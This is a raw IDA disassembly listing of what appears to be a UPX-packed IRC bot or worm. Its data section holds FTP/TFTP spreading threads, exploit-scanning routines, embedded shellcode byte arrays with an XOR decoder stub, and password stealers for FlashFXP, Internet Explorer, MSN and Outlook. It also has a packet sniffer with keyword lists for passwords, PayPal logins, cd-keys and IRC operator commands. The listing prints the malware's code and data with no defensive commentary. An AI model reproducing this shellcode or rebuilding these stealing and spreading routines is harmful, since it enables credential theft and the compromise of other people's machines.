unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: UPX1:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: UPX1:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: UPX1:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 ; CODE XREF: UPX1:0041C7DDj dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CCF8 ; DATA XREF: sub_4127D0+77r dd offset nullsub_4 dd 0 dd offset dword_41CCD8 dd offset dword_41CCCC align 8 dd offset dword_41CCAC dd offset nullsub_102 dd 0 dd offset dword_41CC84 dd offset nullsub_103 align 10h dd offset loc_41CC58 dd offset dword_41CC4C dd 0 dd offset dword_41CC34 dd offset nullsub_104 align 8 dd offset loc_41CC0C dd offset nullsub_105 dd 4 dup(0) ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] db 0DAh dd 2 dup(0) ; --------------------------------------------------------------------------- loc_41CC0C: ; DATA XREF: UPX1:0041CBE8o ; UPX1:0041DB60o mov ah, [esi-42447F50h] mov esp, 0C590B1ACh cdq icebp mov edi, 0B191C99Ah test dword ptr [esi+0A0ADh], 0 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] db 0D0h dd 2 dup(0) dword_41CC34 dd 91B0A391h, 0A1B1FABBh, 9EDF93AAh, 88DAB2E5h, 0B4AD9Ah ; DATA XREF: UPX1:0041CBDCo ; UPX1:0041DB54o dd 0 dword_41CC4C dd 0DBEFF5CEh, 2 dup(0) ; DATA XREF: UPX1:0041CBD4o ; UPX1:0041DB4Co ; --------------------------------------------------------------------------- loc_41CC58: ; DATA XREF: UPX1:0041CBD0o ; UPX1:0041DB48o xchg eax, esp mov ebx, 0FAA489A9h mov eax, ds:0DA97B2BAh retn 0A4A4h ; --------------------------------------------------------------------------- dw 0D386h dd 84B8B28Bh, 0E6BCA1A0h, 0DB99A1h, 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] db 0F0h, 0E0h, 0DBh dd 2 dup(0) dword_41CC84 dd 87BEA397h, 0A9BAFAA7h, 9FC29FA5h, 0C381BEE5h, 0C6ACB590h ; DATA XREF: UPX1:0041CBC4o ; UPX1:0041DB3Co dd 0A0B1A6h, 0 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] db 0D0h dd 2 dup(0) dword_41CCAC dd 8DBEAB8Eh, 0A4B6FABAh, 82DD95A3h, 0D581B2FEh, 9BBAA69Bh ; DATA XREF: UPX1:0041CBB8o ; UPX1:0041DB30o dd 0A5BBB7E6h, 2 dup(0) dword_41CCCC dd 0D0EBFBC0h, 2 dup(0) ; DATA XREF: UPX1:0041CBB0o ; UPX1:0041DB28o dword_41CCD8 dd 0C6B0A38Dh, 0A0A7BCA1h, 0D88E92B1h, 84B8F4h, 0 ; DATA XREF: UPX1:0041CBACo ; UPX1:0041DB24o ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0F0h, 0EAh, 0DCh dd 2 dup(0) dword_41CCF8 dd 90AAAB8Ah, 0A6B1B1BCh, 9EDF99ECh, 0C281A2F3h, 8DB7EC9Dh ; DATA XREF: UPX1:off_41CBA0o ; UPX1:off_41DB18o dd 0BCh, 0 dword_41CD14 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CD18 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CD1C dd 63h ; DATA XREF: sub_412D56:loc_412DC8o dword_41CD20 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CD58 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 byte_41CD80 db 9Dh ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 0A1h, 0B6h, 85h dd 0FAh, 2 dup(0) dd 0C8000000h, 0ECF1h, 3 dup(0) db 2 dup(0) dword_41CDA6 dd 9BB7E8F6h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CDAA dd 0 ; DATA XREF: sub_412FC6+57w ; sub_414052+B5r ... off_41CDAE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 0A7970000h, 0A0A998ADh, 0BCh, 2 dup(0) dd 0ECF6CD00h, 4 dup(0) dd 0E0F98ECFh, 0 dd offset sub_410B52 dd 3, 10h dup(0) dword_41CE30 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o dword_41CE38 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o dword_41CE40 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 4 aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 4 unk_41CE98 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CEDC dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CEF0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CF28 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CF54 db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CF8C dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CFD0 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41D000 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41D054 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 4 dword_41D098 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D0C8 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D100 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D130 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D150 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D18C dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D1A0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D1E8 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D2DC db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_41D318 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D384 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 10h aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 10h asc_41D3B0 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 4 unk_41D3B8 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D3FC db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 4 dword_41D438 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D494 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D4DC dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo dword_41D4E4 dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o dword_41D4EC dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D50C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D54C dd 2Ch ; DATA XREF: sub_414EF4+83Bo ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D55C dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 10h dword_41D5C0 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D610 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D614 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 8 dword_41D648 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D67C dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D7AC dd offset aUser_1 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" dd 2 dup(0) off_41D808 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey_0 ; "cd-key" align 8 dd offset aCdKey ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" dd 0 dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" align 10h dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D87C dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_41D8C0 dd offset dword_41D91C ; DATA XREF: sub_415EB7+98o align 8 dd offset dword_41D914 align 10h dd offset dword_41D90C align 8 dd offset dword_41D904 align 10h dd offset dword_41D8FC align 8 dd offset dword_41D8F4 dd 2 dup(0) dword_41D8F4 dd 54495551h, 20h ; DATA XREF: UPX1:0041D8E8o dword_41D8FC dd 54524150h, 20h ; DATA XREF: UPX1:0041D8E0o dword_41D904 dd 4E494F4Ah, 20h ; DATA XREF: UPX1:0041D8D8o dword_41D90C dd 49504F54h, 2043h ; DATA XREF: UPX1:0041D8D0o dword_41D914 dd 49544F4Eh, 204543h ; DATA XREF: UPX1:0041D8C8o dword_41D91C dd 56495250h, 2047534Dh, 0 ; DATA XREF: UPX1:off_41D8C0o aDdos db 'ddos',0 ; DATA XREF: UPX1:0041D8B4o align 10h aServu db 'servu',0 ; DATA XREF: UPX1:0041D8ACo align 4 aServU db 'serv u',0 ; DATA XREF: UPX1:0041D8A4o align 10h aServU_0 db 'serv-u',0 ; DATA XREF: UPX1:0041D89Co align 4 aClone db 'clone ',0 ; DATA XREF: UPX1:0041D894o align 10h aFlood db 'flood ',0 ; DATA XREF: UPX1:0041D88Co align 4 aSyn db 'syn',0 ; DATA XREF: UPX1:0041D884o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: UPX1:off_41D87Co aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: UPX1:0041D870o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: UPX1:0041D868o aLP db 'l/p',0 ; DATA XREF: UPX1:0041D860o aIrcOperator db 'irc operator',0 ; DATA XREF: UPX1:0041D858o align 10h aPaypal db 'paypal',0 ; DATA XREF: UPX1:0041D850o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: UPX1:0041D848o align 4 aCdKey db 'cd key',0 ; DATA XREF: UPX1:0041D838o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: UPX1:0041D830o align 4 aCdkey db 'cdkey',0 ; DATA XREF: UPX1:0041D828o align 4 aPasswort db 'passwort ',0 ; DATA XREF: UPX1:0041D820o align 4 aAuth db 'auth ',0 ; DATA XREF: UPX1:0041D818o align 10h aSxt db 'sxt ',0 ; DATA XREF: UPX1:0041D810o align 4 aLogin_0 db 'login ',0 ; DATA XREF: UPX1:off_41D808o align 10h aPw db 'pw=',0 ; DATA XREF: UPX1:0041D7FCo aPass_1 db 'pass=',0 ; DATA XREF: UPX1:0041D7F4o align 4 aLogin_1 db 'login=',0 ; DATA XREF: UPX1:0041D7ECo align 4 aPassword_0 db 'password=',0 ; DATA XREF: UPX1:0041D7E4o align 10h aUsername_0 db 'username=',0 ; DATA XREF: UPX1:0041D7DCo align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: UPX1:0041D7D4o aAuth_0 db ' :auth ',0 ; DATA XREF: UPX1:0041D7CCo aIdentify db 'identify ',0 ; DATA XREF: UPX1:0041D7C4o align 4 aOper db 'oper ',0 ; DATA XREF: UPX1:0041D7BCo align 10h aMailpass db 'MailPass ',0 ; DATA XREF: UPX1:0041D7B8o align 4 aPass_2 db 'pass ',0 ; DATA XREF: UPX1:0041D7B4o align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: UPX1:0041D7B0o align 10h aUser_1 db 'user ',0 ; DATA XREF: UPX1:off_41D7ACo align 4 dword_41DA58 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41DA8C db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_41DAC0 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DAE4h, 84B6AD89h, 0B8A0BAE6h dd 91C499ECh, 2 dup(0) dword_41DAF8 dd 0B1790F4Ch ; DATA XREF: sub_40A9CF+843r ; UPX0:00416845r ... dword_41DAFC dd 6F035C08h ; DATA XREF: UPX0:0041683Dr dword_41DB00 dd 12E3F4F6h ; DATA XREF: UPX0:00416832r dword_41DB04 dd 0A1A8C30Ch ; DATA 